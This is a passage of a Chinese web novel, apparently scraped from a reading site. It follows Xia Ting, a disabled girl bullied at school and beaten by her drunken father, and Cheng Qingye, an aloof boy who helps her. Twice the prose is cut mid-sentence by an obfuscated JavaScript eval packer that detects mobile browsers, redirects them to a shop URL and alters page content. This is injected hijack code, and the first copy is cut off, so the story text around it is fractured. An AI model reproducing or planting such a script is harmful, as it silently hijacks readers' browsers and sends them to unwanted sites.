程青野边走边说:“见好就收吧,外套都给你了。再这么麻烦,我懒得管你了。” 夏汀缩了缩,不知道是不是稍微清醒了些,也不知道有没有听懂程青野的话。 程青野背着她行走在窄窄的长街,风和雨灌进来。 短短的一小段路,因为寂静和冷静,显得格外漫长。 他没来由地想这人是不是不吃饭,病恹恹的就算了,怎么还这么轻。 像根竹竿子似的,他背着她都不敢用力,怕等会给她折了。 真麻烦。 要不是他之前误会了她有些愧疚,他还真不太想管她。 转过街角的时候,雨突然变大了,噼里啪啦砸下来。 夏汀烧得晕晕乎乎,下意识伸出双手,从背后环住程青野的脖颈,以祈求获得更多的安全感,就像小时候被魏春雪背着时她总会环紧她脖颈那样。 程青野脚步一顿,冷声道:“松手。” 夏汀晕晕的,但执拗地摇摇头,以示抗议。 “不松手把你丢这了。” 程青野冷冷道。 夏汀不说话,只是用力抱住程青野。眼泪哗啦啦流。 像一头随手都有可能被人丢出去的丧家犬,可怜兮兮。 她眼角滴落下一片温热。落在程青野挺括的后背上。 程青野知道,她又哭了。 烦。早知道就不该管她。 他有些没辙,但没再提把她丢这的事情。 “没说真把你丢下,”他语调冷冰冰,生硬道:“那能不能别哭。” 哭得他好烦。 6. 淤青 夏汀醒来的时候,发现自己是在医院。 手腕上被扎出好几个针眼,吊瓶高高悬挂在床头的铁架上,盐水正绵延不绝地往下滴。 冰冷的液体一点一点注进她纤细的手臂血管里。 头疼得厉害。 夏汀一时间想不起来自己是怎么会到这里来的,只依稀记得林佳琪对她剑拔弩张的模样。 她忍不住红了眼眶。 怕花更多的钱,她几乎是想也没想就拔掉了针头从病床上下来。 针眼处淌出几颗血滴,夏汀用手按住,穿上鞋就往门外走。 “哎,小姑娘,你检查还没做呢!”来查房的小护士恰好撞见她,急急忙忙把她叫住。 “嗯…我没事。” 夏汀虚浮着脚步,跌跌撞撞往外走。 医院狭长的过道清清冷冷,白炽灯明晃晃地亮着,没有一点温度。 夏汀低着头,步子走不太稳。没走几步就差点撞到了人。 “你往哪去?” 声音有些熟悉,夏汀紧张地抬起头,就看见程青野站在她面前。 漆白的白炽灯大喇喇亮着,程青野逆着光,只穿了件单薄的短袖,手上还拎着些什么,高高的影子完全落在她身上。 夏汀吓了一跳,没想过会在这里碰见程青野。 程青野抬起手,她紧张又胆怯地往后躲。 程青野撇了下嘴,把手上的馄饨塞给她。 怕她误会什么,又冷冰冰地补充道:“空腹做不了检查。” 夏汀不知道发生了什么,也不明白程青野到底吃错了什么药,怎么会突然好心给她送东西吃。 便警惕地看着他,小声说:“我不要。” 怕惹来新一轮的麻烦,她一边说一边小跑着往外走。 馄饨被丢在一边没人要,程青野慢慢回转身,盯着她背影蹙起眉。 发什么神经。救了她还不乐意。 对那个小白脸就笑那么开心。 程青野把馄饨丢进垃圾桶里。 - 夏汀一路回了家。 夏冬明不在家,不知道又去哪里厮混了。见他不在家,夏汀悬浮在半空中的心才稍微安定了些。 早上的豆浆味道和傍晚的奶茶味道黏腻在她身上,她进了卫生间,洗了好久才把那些难闻的味道洗掉。 淋浴头坏了好久都没人修,水流变得很小,细细的热水漫过夏汀的身躯。冲洗着那些肮脏难闻的味道。 身上的伤口经过热水的淋浴,带着细微的疼痛。 眼角处也渐渐淌过那些温热。 她不知道这样的日子还要持续多久。 肮脏难闻的味道可以被洗干净,可是有的东西一旦浸到骨子里,就没办法再被消除。 她快要撑不下去了。 冲过澡以后出了点汗,她精神状态稍微好了些,也不怎么发烧了,便换了套干净的衣服。想要把脏外套里沈嘉恒送给她的药膏和湿巾拿出来,却摸了个空。 她心脏顿时漫过一阵咸涩的潮湿。 怎么会不见了的? 下午被林佳琪她们那样对待的时候,她几乎失去了意识。 也许是那个时候丢的。 夏汀被温热的水浸泡过的一颗心,又重新凉透。 她失了魂魄一样蹲下去。 房间里黑漆漆的,眼泪一颗一颗往下砸。 明明只是丢了一只药膏和一包湿巾,看起来这样微不足道的东西,却是她活下去的精神寄托。 为什么林佳琪她们连这个都要拿走? 为什么…… 也不知道蹲了多久,直到夏汀双脚发麻,她才慢慢站起来。 家里带着一股难闻的烟酒味道,明明昨天才收拾过,现在客厅里又堆满了垃圾。夏汀叹了口气,兀自沉默着收拾起来。 等到收拾完房间,天色也已经完全黑了。 她拎着一袋垃圾袋出门丢,一打开门,就跟程青野撞了个正着。 程青野正往丁兰家的方向走,听见开门的声响,侧着身子低低睨了夏汀一眼。 他步子没停,两个人视线交汇统共不过一秒。 夏汀吓了一跳,急急忙忙关上门往另一个方向下楼。 …… 楼下的小超市倒闭了,一些面包牛奶正在打折出售。 夏汀扔掉垃圾,本无意多逛。 忽一侧目,发现橱窗那里出售的牛奶处,有一整排荔枝味道的牛奶。 夏汀记得,沈嘉恒似乎很喜欢喝这个牌子的牛奶。 鬼使神差地,她竟然进店买了两瓶。 她捏着两瓶牛奶上楼,程青野拎着一个包正好下楼。 两人又一次错身而过。 她小心翼翼地往旁边躲了躲,没想到这一次程青野连看也没看她一眼。 夏汀却舒了一口气。 看不见她最好。 等到她上楼回了房间,她才把吸管插进牛奶瓶里。 淡淡的荔枝香味萦满整个口腔。 甜滋滋的。 书上说,甜味能让人心情变好。 夏汀起伏不定沮丧的心在这个时刻,才终于得到一丁点可怜的安慰。 原来,沈嘉恒喜欢的,是这个味道。 “搬走了好!整天一副死人样子,老娘才不稀罕伺候他呢!” 口腔里的甜蜜还没持续多久,隔壁丁兰的大嗓门就又透过玻璃窗漏了进来。 “妈,你别说了,爸听见了会不高兴的。”李星宇道。 “星宇啊,你没事吧,刚刚我就想说了,那狗杂种凭什么闷声不响,仿佛谁欠了他几百万似的,还用那种眼神看着你!哎!造孽!造孽!”丁兰拍了拍大腿,似是不满程青野冷冰冰的样子。 李星宇缄默不言。 絮叨声渐渐消停了。 夏汀咬着吸管,坐在窗台前翻开一道数学题。 下过雨的夜晚,月光暗淡的像柔和的湖面,安静地洒在书页上。 落笔的瞬间,夏汀想到的却是刚刚丁兰母子的对话。 从对话里不难得知,程青野从这里搬走了。 一个随时可能会引爆的炸弹被拆除了。 荔枝的清甜还未散去,夏汀心情好了很多。 她把还没喝完的另一瓶牛奶放进书包里。 如果有机会的话,她想亲手送给沈嘉恒。 毕竟他总是明里暗里,帮过她好多次。 - 可令她没想到的是,第二天沈嘉恒没有来。 沈嘉恒要去参加省级竞赛,请假了。 这个消息也是夏汀听到同学们议论的时候才得知的。 她和沈嘉恒就在一个班里,可是好多关于沈嘉恒的消息她都是通过同学们的口中才能知道。 天气湿漉漉的,这几天都在下雨。 天气不好的话,人的心情也会受到影响。 就比如林佳琪,挂了一整天的脸,就差把“心情不好”四个大字写在脸上了。 她一整天都没有什么好脸色。 夏汀总是避免去招惹她,不想给自己带来更多的麻烦。低头默默在本子上写题。 从小到大,她被针对被欺负的次数不再少数,可是像这种情况却并不多见。 林佳琪似乎看她格外不顺眼。 果不其然,临到放学的时候,林佳琪又把她堵在了巷子里。 还是昨天那条死胡同,旁边没什么人烟味,只有卖不出货的五金杂货店,还有几家黑网吧。 “别总装出这副可怜兮兮的样子,这儿又没别人,你装可怜给谁看?沈嘉恒又不在这,你这样子我看了直犯恶心知道吗?” 林佳琪皱着眉,用手捂住鼻子,“一身穷酸味,瞪我干什么?” 夏汀目光保持平视,明明她一直都在隐忍,可是她一步一步的退让,却只换来林佳琪等人的变本加厉,她看着她,出声问:“为什么?” 为什么要这样对她? 仅仅是因为她是个残疾人吗? “看你不顺眼懂吧?”林佳琪蔑视着她,双手抱胸,“你能不能离沈嘉恒远一点,他人好心善乐于助人,但你俩根本就不是一个世界里的人,他帮你只是因为他可怜你,你懂吗?别脑子不清醒犯贱去贴他。” 林佳琪喜欢沈嘉恒,所以自然不喜欢除了自己以外的人靠近他。 可是沈嘉恒对于自己的善意,也许只不过是带有怜悯意味的施舍。 “你是不是喜欢沈嘉恒?”林佳琪见她沉默不语,察觉到了什么,厉声问道。 夏汀怔了怔。想要否认,喉咙却像卡了壳一般吐不出一个字儿来。 林佳琪的表情一瞬间变得很难看:“你怎么配喜欢他?” 说着就要上前揪住夏汀的头发。 忽然,她手一顿,被沈心怡拦了下来:“等等,有人来了。” 林佳琪表情一滞,顺着沈心怡的方向看过去。 遥遥的小巷里天光寂寂,有两个人影走近。 个子稍矮一些的那个她们都认识,是隔壁二班的蒋子涵,这人家里有点钱,被职校的几个人堵过一阵子。后面不知怎么的,那几个职校的人消停了些,没再出现过。 而在他身侧,还有个比他高出半个头的少年。 那少年穿了件宽松阿迪复古黑白外套,袖子揽得老高,拉链清一色拉到最上面,只露出一张狂狷又少年感极强的脸,不羁又放荡。 沈心怡一眼就认出,这正是她们昨天在马路对面看见的那个帅哥。脸忽然噌一下红了。 “算你运气好,下次别让我逮着你!”林佳琪放下警告的话,随后拉了沈心怡就走。 空荡荡的死胡同里,就只剩下红着眼眶的夏汀。 这世界为什么这样残酷,为什么她连偷偷喜欢的资格都要被剥夺。 “哇靠,有点吓人。”目睹一切的蒋子涵喉结动了动。 他平日里也被职校的几个男生找过麻烦,但好在他现在傍上了程青野这条大腿,日子总算清净了许多。 他没想到女生之间也会有这样拉帮结派的小团体,而且在隐秘的角落,也会暗流涌动。 他认得夏汀,这女孩复读过一次,现在在他隔壁班。 他略有耳闻,隔壁班的同学都不大喜欢她。 但这姑娘成绩其实蛮不错的。听说本来上半年本来就应该考上一所好大学的。 只不过高考那天她爸突发心肌梗塞,因此错过了高考。 不得不再复读一年。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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就像那个雨夜,她固执地看着他,告诉他,她没有做过那样。 “反抗,”夏汀忽然笑了,她本不想跟程青野说一个字的,可是听到这两个字眼之后,她忍不住抬起头,冷冷地看向他,将他轻飘飘说出来的那两个字咬的很重,“反抗?” “可是,反抗有用吗?” 多可笑。 在他说出“反抗”这个词之前,她早就反抗过无数次。 可是反抗没有用。 群体性的沉默将她渺小的反抗压至无声。 她在群体性漠视中完全失声。 她不是没有反抗过。 她反抗夏冬明,会被暴打。 反抗欺负她的人,会更加被针对。 反抗只会招致更加更加尖锐的施压。 她活下去唯一的期待就是高考。 等到高考结束,她会离开这个小县城,去到一个新的地方。 哪怕她知道到新的地方,她也很有可能会遭受新一轮的风暴。 可她必须要走出去。 她冷冷地盯着程青野,眼眶却仍是发红的。说不害怕是假的。 程青野站在她面前,她只堪堪到他的前胸。 他个子实在太高了,身形已经有了成年男性的凌厉轮廓,让人望而生畏。 程青野看她明明害怕,却压抑着战栗,心口像被什么柔软的东西撞了一下,随后腾起一股莫名的情愫,说不清道不明是什么。 反抗为什么没用? 程青野很想反问她。 到底是反抗没有用,还是她压根就学不会反抗,亦或者是缺乏反抗的勇气? 至少对于他而言,他从不害怕去反抗。 可是看着她的脸,他却忽然什么话都说不出来了。 也不知是不是愧疚感作祟,他脑海里浮现出雨夜里少女脸颊滑过的两行清泪,以及她白皙脸庞上的淤青,还有她走在雨里,一瘸一拐但又坚定决绝的小小身影。 他向来不是爱管闲事的人,可此刻胸腔里的情愫翻涌,竟让他没来由地一阵烦躁。 “喂。”他低头,凑近了些,“小瘸子。” 夏汀胆怯,猛地别过头。 她黑色的发梢扫过颈侧,露出一片瓷白细腻的皮肤。青涩的血管完全暴露在空气里,在薄皮下轻轻搏动。 她心脏压抑不住地狂跳,整个人都不由自主地缩成一团,像只受到惊吓的兔子,连呼吸都不敢太重。 “你怕什么,”程青野皱着眉,“胆子就这么小。” “我当然怕。”夏汀红着眼眶。 她在乎的东西太多了。 她想要考上一个好的高中,想要离开这里。 想要永远不被歧视、不被排挤。 尽管这可能做不到。 她身上的那股软弱却又倔强的矛盾劲又出来了。 长长的眼睫被眼泪沾得有点湿。 一张青涩白皙的脸却在苦难中出落得格外亭亭。 “而且,就像我说,关于你的秘密,我从没对任何人说过,你会信吗?”她反问道。 既然不信,为什么还要她去反抗? 程青野没来由感到一阵烦。 心底挺不是滋味。 7. 淤青 “所以,收起你那点自以为是、高高在上的优越感吧。”夏汀垂着眼睫,但一字一句说的很坚定。 “我不需要你的可怜。” 她侧身避开程青野,然后逃也似的跛着脚走了。 程青野眉头紧锁,在心底暗骂一声操。 再管这小瘸子一次就是他缺心眼。 - 夏冬明连着好几天都没有回家。 夏汀却开始失眠了。 沈嘉恒物理竞赛得了省级一等奖,在准备国赛。 夏汀一心扑在学习上,林佳琪的气焰也消了许多,没再来找她麻烦。 就在夏汀以为这样平静的日子至少能持续一段时间时,班主任老王却把她叫到了办公室。 原来是夏汀一个月前投递的作文获奖了,目前市里面有个去外省参加决赛的名额。如果获奖了,能获得强基降分,老王私心是希望夏汀去参加的。 只是去一趟外省的话,得花不少钱。 夏汀的家庭条件,他是知道的。 所以他把夏汀叫过来,将主动权交还给她。 “夏汀啊,你知道的,这样的机会不多,所以自己好好把握啊。” 夏汀点点头,说:“知道了。” 心里却在犯难。 去一趟外省,哪怕她再节约,可最基本的路费都要一千二。 家里的钱都在夏冬明手里,她身上满打满算也就只能掏出几百块钱。 要不就不去了吧。 可是…… 她背着书包走在回家的路上,一路上都在纠结。 转眼间就走到了家门口。 她还没来得及开门,就看见隔壁的丁兰正把一些没用的杂物从她家里面扔出来,一边扔一边气喘吁吁:“那小杂种的东西我是一点也不想看见!他有骨气从家里搬走,那就永远都别踏进这个门!滚的越远越好!老娘一见他就烦!”说着搬起一把程青野还没来得及带走的吉他就要往外丢。 “妈,你别扔呀,青野哥说他今天要回来拿的,”李星宇把她拦下来,“再说了,青野哥的吉他很贵的。” “贵?贵又怎么样?老娘才不稀罕他那几个臭钱!哎、哎哟!”丁兰捂着差点闪了的老腰,喘着气道,“再说了,他程家今时不同往日,家里被查了个底朝天就算了,资产全被冻结了,他身上又有多少钱?” “妈,你小声点,”李星宇皱着眉,他虽然年纪小,性格和他母亲完全不一样,他低声道,“叫爸知道了又要吵架。” “吵呗!他李岩庆也是长能耐了!哼!”真是哪壶不开提哪壶,丁兰气极,捂着心口把门一甩。 李星宇细细摩挲着程青野的那把吉他,眼里满是艳羡。 他很想将它据为己有。 可这是程青野的东西。 程青野来不及带走的东西,却是他一辈子都没办法得到的妄想。 命运是多么不公平。 他眼底闪烁着嫉妒的色彩,想到什么,不知从哪里摸出一把剪刀,“咔嚓”一声,剪断了吉他的一根弦。 弦断,发出嘶哑的闷声。一把上好的吉他就此成了一件中看不中用的废品。 李星宇先是错愕了一阵,仿佛那个刚刚拿着剪刀的人不是他本人。 确认这吉他已经报废以后,他表情沉郁下来,心里却感到一阵空前的畅快。 既然得不到,那不如毁掉。 李星宇收好剪刀,正准备回房,忽察觉到不远处的目光,一抬头,恰好瞥见走廊不远处的夏汀。 表情一瞬间定格僵硬。 夏汀飞速低下头,装作什么也没看见的样子,很快解开门锁。一进家门,就飞快把门带上。 她背着身子站在门后,连书包都没来得及褪下,心脏却跳的极快。 李星宇那个表情阴恻恻的,有些骇人。 丁兰一家是在她四岁左右才搬过来的。 李星宇和她同岁,比她小几个月,性子内敛不多话,和丁兰完全是两个模子里刻出来的。 两家住在同一幢楼,又是同一层的邻居,免不了要经常和他打照面。 平日里最多也就是寒暄一两句的关系,绝不多话。 夏汀没想到他居然会刻意弄坏程青野的东西。 如果被程青野知道了的话……夏汀脑海里闪过他那张过分冷冽的脸,后背不由得泛起一阵鸡皮疙瘩。 但夏汀也不会把吉他损坏的真相告诉给他。 多一事不如少一事,她不愿意给自己找麻烦。 更何况,那程青野本就阴晴不定,绝对是个难惹的大麻烦。 一想到程青野……他说过的话,瞬间又荡回夏汀的耳朵里。 她忍不住皱了皱眉。 他这话到底是什么意思? 难不成又是捉弄她的什么新把戏? 夏汀想起冷雨里他那张带着恶劣笑容的脸。 以及一口一个带有蔑视意味的“小瘸子”。 像是他会做的出来的事情。 无聊。 以捉弄别人的痛苦为恶趣味的人渣。自以为是高高在上的施舍。 “咚——” 背后的铁门传来一阵巨响。夏汀的思绪猛地收回。 “开门!老子没带钥匙!” 门外的夏冬明带着醺醺的醉意,舌头都捋不直了。 夏汀喉咙滚动。 醉酒后的夏冬明暴戾得可怕。 魏春雪死后的几年,失去了管束,他变本加厉,完全是嗜酒赌如命。 他封赌必输,一输就喝酒买醉,一醉就不省人事。 完全形成了恶性循环。 “死丫头,开门!老子晓得你在家里头!” 门被狂拍,拍得震天响。每一次响动都带来震心撼肺的声响,震得夏汀五脏六腑都在战栗。 “格老子滴!不开门老子要你好看!” 身上的淤青还没消退,夏汀不愿意再添新的。 男人的力气总归要大许多,她没有办法,只能装作刚听见,小声道:“爸你等一下。” 说着,手就颤抖地搭上把手,眼睛闭了闭,拧开。 门一开,漫天酒气熏过来。 “爸……”夏汀还没把一句完整的话说完,手臂上就被重重拧了一下。 “死丫头,那么慢!”夏冬明很是不满。 夏汀本就瘦,纤细的手腕上压根就没有多少肉,被这么一拧,不用看,也知道一道新的淤青又产生了。眼角泛出生理性的眼泪。她强撑着,才没让眼泪掉下来。 有时候,她真的不知道自己做错了什么。 她也不知道该怎么和夏冬明相处。 明明是“父亲”的角色,他一次次缺席她的成长就算了,还把自己所有的不顺心都发泄在了她身上。 夏冬明不喜欢她。从她出生那一天起就不喜欢。 因为夏冬明想要个儿子。而她偏偏是个丫头。 小县城观念落后,夏冬明觉得没有儿子面子上挂不住。 他心急,魏春雪月子还没出,他就让她怀上了身孕。本来是个男胎,但魏春雪身子太虚弱,没到三个月就流掉了。 后来的几年里,魏春雪陆陆续续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481661|201778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又怀过几次,但都没能生下来。反而还把身子搞坏了,气血亏空,再也没办法生育了。 夏冬明和魏春雪之间的矛盾也越来越深,几乎到了不可开交的地步。 夏汀心疼妈妈,小小年纪就已经足够懂事,举手投足都怕触着夏冬明的逆鳞。 十岁那年,她甚至对魏春雪说:“妈妈,你快跑吧。” 魏春雪咧着开裂的嘴角,苦笑道:“那小雨呢?妈妈走了的话,我们小雨怎么办呢?” 夏汀说:“小雨会照顾好自己的。妈妈……” 妈妈,比起失去你,小雨更希望你幸福。 “傻瓜小雨,”魏春雪把小夏汀拥进怀里,“妈妈不能离开你。” 母爱真奇怪。它可以让一个女人无坚不摧,也可以让她变得心软,捆绑上软肋。 如果那个时候魏春雪真的选择走了,夏汀想,她也不会怪她的。 可是魏春雪没有走。 直到一年后,她躺在病床上,再也没办法走了。 “还哭?”夏冬明扭头,看见夏汀脸上闪烁的泪痕,觉得分外扫兴,“跟你那个妈一个样,哭哭哭,就知道哭,这个家就是给你俩败完的!老子一看见你这张哭脸就倒胃口!” 夏冬明拧着眉头,照着夏汀小腿踹了一脚。 夏汀吃痛,整个人重心不稳,踉踉跄跄往门外躲。 一不小心退到门外的走道上,身后撞到了一个人。 她眼眶里眼泪闪烁,边捂着胳膊,边低头对着被她撞到的人说对不起。 那人却没动。 夏汀抬起头,发现是程青野。 他面无表情地看着她,然后又扫了一眼屋内醉气冲天的夏冬明。 “翅膀硬了,还知道躲了?老子好吃好喝供着你,把你养到那么大,你现在翅膀倒是硬了?嗯?读书读书,书都读到哪里去了?基本的孝顺都不知道了?我看你也真是成书呆子了!我呸!” 夏冬明还在喋喋叫嚣个不停。 口水吐出来,唾沫性子到处飞溅。 夏汀眼眶发红,有些狼狈。 程青野揩去身上被波及到的唾沫星子,冷冷看着夏冬明。 夏冬明被他凛冽的眸子盯得发憷,急忙把夏汀拉回防盗门内。 程青野脚步动了一下,转头又想到夏汀对他避之不及的样子。 防盗门“咚”一声被重重合上。夏汀苍白的脸消失在门后。 一切又回归寂静。 程青野心底忽然升起一阵烦闷。 那男的到底是他爹的谁? 自诩大道理,说的什么狗屁不通的屁话。 都这样了,那小瘸子怎么还是那么倔? 他就凶过她一次,怎么就这么记仇? 看起来好像一点不想跟他挨上边。 刚刚如果她开口,他说不定会愿意帮她。 可她为什么不开口? 她那张死鱼脸怎么总是挂着伤? 蠢女人。蠢死了。 程青野拿起靠在走廊前边的吉他。 一个没防备,断掉的弦割了一下他的手。 虎口处立刻涌出一股鲜血。 细密的疼痛在此刻扎根。 都说十指连心,明明出血的地方是虎口,为什么心脏那里还是会不舒服? 程青野拎起断弦的吉他,冷着脸兀自往回走。 路过夏汀家紧闭的防盗门时,粗暴的怒骂声和女孩呜咽的哭声交织在一起。防盗门关也关不住,清晰地从防盗门里漏出来。 程青野皱了下眉,不由自主加快了脚步。 8. 淤青 “程哥,再陪我来一把呗。” 一把游戏结束还是不过瘾,蒋子涵拎着可乐坐过来,备显殷勤,想要程青野再带带他。 程青野却关了电脑,陷在黑色的电竞椅里微微阖着眼,没搭理他。 很明显的心情不好且不想搭理人。 蒋子涵讪讪笑了一下。 俗话说伸手不打笑脸人,他摸了摸鼻子,没话找话地说道:“程哥,一个人住还习惯不?下次我托人给你找一个大点的房子。” “凑合,不必。”程青野说。 多大的房子他没住过,他现在没空去挑剔那么多。 他爸妈商圈里的事情还焦头烂额,每个月虽然会按时给他打钱,但数额却越来越克扣。眼下有这么个地方住着,他倒也不挑。 “这样啊。”蒋子涵抿了口可乐,话题就这么中断了。 他挠挠头,好半天才憋出另一个话题,正准备说,却被程青野打断。 “你是一中哪个班的?”程青野问。 “2、2班的啊。” 蒋子涵不知道程青野为什么突然这样问,这还是他程哥第一次主动关心他。 程青野不爱管闲事,从不过问任何和他无关的事情,每次遇到事,都得蒋子涵求他才能摆平。 蒋子涵笑得有些不好意思,但还是诚实地补充道,“一中每个年级前三个班都是实验班,我当时中考撞大运了,发挥不错,考进去了。” 说完,他意识到什么,又看向程青野,“话说回来,程哥,你成绩挺不错的吧,我想不明白,你为什么要在职校嘞?” 还是一个月去不了几次学校的那种。对于程青野来说,简直是浪费生命。 蒋子涵成绩平平,唯一最拿手的学科就算数学了。 有次他来网吧勤奋苦读,把写到一半的几张试卷摊开放在桌上,然后勤奋地爽玩了两个小时电脑。 程青野闲得无聊,漫不经心扫了眼他的卷子,指着最后一题说他蠢,这种题都能算错。 可那题明明挺难的,年级里没几个人能做对。 那时候蒋子涵就觉得程青野成绩应该挺好的。 虽然说他知道程青野家里出了事,但这个成绩的话,按理说去一中问题也不大,只是想不明白他为什么会在职校。而且看上去好像也一副无所谓的样子。 程青野没说话。 当初程家出事,他匆忙离开杭城,转学的一些事情都拜托给丁兰全权负责。 也不知丁兰是图方便还是懒得搞,直接把他转进了职校。 程青野倒也不在乎。反正在哪都一样,他早就自学完了高中的课程。 那时他以为自己不会在这里待太久。 他爹程向澜是何等人物,肯定不多久就会把他弄回去。 没想到过了三个月却一点音讯都没。 看来这次的情况挺棘手,能让程向澜都犯难。 蒋子涵真是哪壶不开提哪壶,后知后觉反应过来说错话以后,他立刻闭了嘴。 程青野看他一眼,主动岔开话题问:“上次那个女生,你认识?” “哪个啊?” 蒋子涵嘴比脑子快,说出口才慢半拍想起来,他程哥主动搭话过的女生好像就那一个。 程青野模样好,和他走在一起,总不乏青睐的目光。甚至有好几次,好几个女生都把情书投到他这里来了。可惜他程哥不解风情,让他全还回去了。 蒋子涵说道:“认得啊,那女孩叫夏汀,我隔壁班的。” “你们学校挺别致,2班隔壁是7班?”程青野问。 “啊?”蒋子涵摆摆手,“她是1班的啊,最好的班。” 听到这,程青野挑了下眉,某个牙尖嘴利的小姑娘骗了他。 他又问:“哪个汀?” “简单,岸芷汀兰的汀,”蒋子涵顿了顿,忽然忍不住叹了口气,“这女孩也挺可怜,就我们上次见到那一回,有人抱团欺负她呢……哎,她腿也不好,是个瘸子。” 蒋子涵双手托腮,继续道,:“她家里挺惨的。” 程青野敛眸不说话,没什么情绪。 “她是低保加单亲,她妈妈好像生病死了,她爸挺不是人的,老打她。” 蒋子涵想到自己虽然也受过欺负,但好歹家庭还算美满,爸妈做点小生意,零花钱也管够,比起她来说不知道幸运了多少倍。 “我听他们班同学说,她为了省钱,吃的特别少,有时候中午就只吃个苹果。” 怪不得那么弱不禁风。 “哦对了,她还复读过一次。成绩倒还算不错,除了沈嘉恒,就属她最好了。沈嘉恒就是我们学校年级第一,也长得挺帅的。有两次她还考过了沈嘉恒,反正,我挺佩服她的。” “不过她那个爸真挺吓人的,听别人说,她爸估计是脑子有点问题,打起人来特别狠,她身上全是淤青,贼吓人。” 蒋子涵说着说着,忽然触及到了自己心坎,他叹了口气,有点不忍心说下去了。 “程哥,你怎么不说话?” 黑色电竞椅里,程青野微蹙着眉,表情有点冷。 蒋子涵刚说完话的下一秒,他忽地站起身来往门外走,步子迈得有些急。 “喂,程哥,你去哪里?” 蒋子涵冲着他高大的背影追出两步,就被他远远甩在了身后。 - “老子好好给你算一笔账,从出生到现在,你花了老子多少钱?” 夏冬明唾沫星子直飞,“真是个赔钱货,要是没有你,老子不晓得有多惬意!” 夏汀摸了一把脸上的唾沫星子,静默地听着这些夏冬明不知道强调了多少遍的话。 “还有你那个妈,本来我们在昭南乡下过得好好的,非得说什么为了娃娃学习,要迁到东部来!有什么用??到头来还不是给别人打工?”夏冬明越想越窝火,“还把老子困在这里!” 夏冬明所说的昭南,是一个地理位置中部偏西南的小县城,这里多高山,交通阻塞,经济自然没有东部沿海城市发达。 夏冬明早先是个拉货的司机,收入在昭南还算可观,但来到岚县之后,就完全不够看了。哪怕岚县也只是个东部沿海的十八线小县城。 巨大的生活压力让他也有些受挫。 如今人到中年,体力活他已经干不了,再加上好赌,欠下了一屁股债,还因为没有节制的酗酒,身体也大不如前,常常这里痛那里痛的。 说不后悔也是假的,但要让他承认错误那也是不可能的。 思来想去,他便把这一切都怪到了魏春雪身上。 怪也只能怪到魏春雪身上。 毕竟死人是不能说话的,自然也没办法辩驳。 夏冬明越想越恼火,无能中夹杂着愤怒,让他忍不住又踹了夏汀一脚。 夏汀当膝受了他一脚,重重跪在地上。 膝盖处传来空前的剧痛,夏汀咬紧牙关,抬起眼睛,恨恨地看着夏冬明。 “看我干什么?”夏冬明胸腔大幅度起伏。 “夏冬明,你真是,”夏汀失望地看着他,一字一顿道,“无药可救!” 说完她忽然爬起来,朝着夏冬明的手背用力咬了下去。像一条被逼到绝境的小兽。 夏冬明叫起来:“夏汀!你居然敢咬我?!” 口腔中铁锈的腥味弥漫,夏汀摇摇晃晃,很难站稳,一站起来就要摔倒,她腿本来就有问题,又受了夏冬明这么一踹,更是雪上加霜。 她抹了一把顺着脸颊滑到嘴边的眼泪,哑着嗓子说道:“夏冬明,对,你是生我、养我,你是我的父亲,这像一定天大的帽子,死死扣住我,这么多年,我一直战战兢兢,怕哪点惹你不顺心就要挨打。” “你总说孩子做得不对,就要管教,这点我认同。所以我忍下来。什么心酸委屈难过我都咬碎了往下咽。每次我都在想是不是我哪里做的不够好,所以你才会生气。我明明已经 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夏汀满脸泪痕,程青野不由分说,冷脸攥着她的手腕就往外走。 夏汀膝盖疼,走不了路,身上还背着个累赘的旧书包,没走两步就摔了。 摔得有些狼狈。 本就疼痛的膝盖撞在地上,骨头深处传来穿髓般的剧痛。 她伏在地上,表情分外痛苦。 程青野回看她一眼,问:“怎么不走?” 夏汀痛的脸上沁出冷汗,声线都在发抖:“膝盖……” 麻烦。 “书包给我。”程青野伸出一只手。 夏汀才发现自己身上的书包甚至还没来得及放下。 “我自己可以走……” 她潜意识里对程青野还是有些抗拒。 哪怕她察觉到对方眼下对自己应当是没有恶意的。 “给我。”程青野又重复了一遍。看上去很没耐心的样子。 夏汀抿了下嘴唇,最后还是顺从地摘下了书包。 程青野接过,吊儿郎当地挎在左肩。 正当夏汀以为他没有新的要求之时,程青野却忽地在她面前蹲下。 “上来。” 夏汀摇头:“不要……” “上来。”程青野保持着刚刚的姿势,又重复了一遍。 他这人很奇怪,语气有的时候会特别生硬。却带着让人不可抗拒的命令感。 夏汀顿了顿,顺从地挪了挪身子。 程青野捞住她的手腕,轻而易举就把她背了起来。 “又不是没背过。” 手腕上的淤青被触碰到的一瞬间,夏汀忍不住轻嘶了一声。 但很快双脚离地的失重感让她忍不住下意识环绕紧程青野的脖子。这是一种发自内心寻求安全感的本能。 她却明显感觉到程青野的身子以微不可查之势稍僵了下。 程青野闷不做声,背着她下楼。 感受到平稳以后,夏汀悄悄把环住他脖颈的手松开了点。似乎这样做才能自在些。 程青野的背很宽阔。 他个子好高。夏汀有些害怕。 她忽然想起小时候,大概一两岁的时候,夏冬明也会把她高举着放在肩头骑马马。 可他现在完全就像变了个人似的。 夏汀心里泛起一阵难过又空旷的潮水。 她伏在程青野的背上,但不敢凑很近。恍恍惚惚间,她忽然有了种熟悉的感觉。 后知后觉才想起,自己之前有一次被林佳琪和沈心怡她们两个围在小巷,后来醒来在医院碰到过程青野。 保不齐,那一次也是程青野帮的她。 她有些琢磨不透。 这个人明明好凶,将她抵在墙上的表情那样狠戾,仿佛能生吃了她似的。 可眼下,他却又为什么要帮她。 9. 淤青 夏汀腿疼得走不了路,但却因为心疼那点医药费,舍不得去做检查。 程青野懒得管她是不是反对,直接把她丢进医院,简单做了个检查。 “小姑娘,你这腿不太乐观啊,骨折了。” 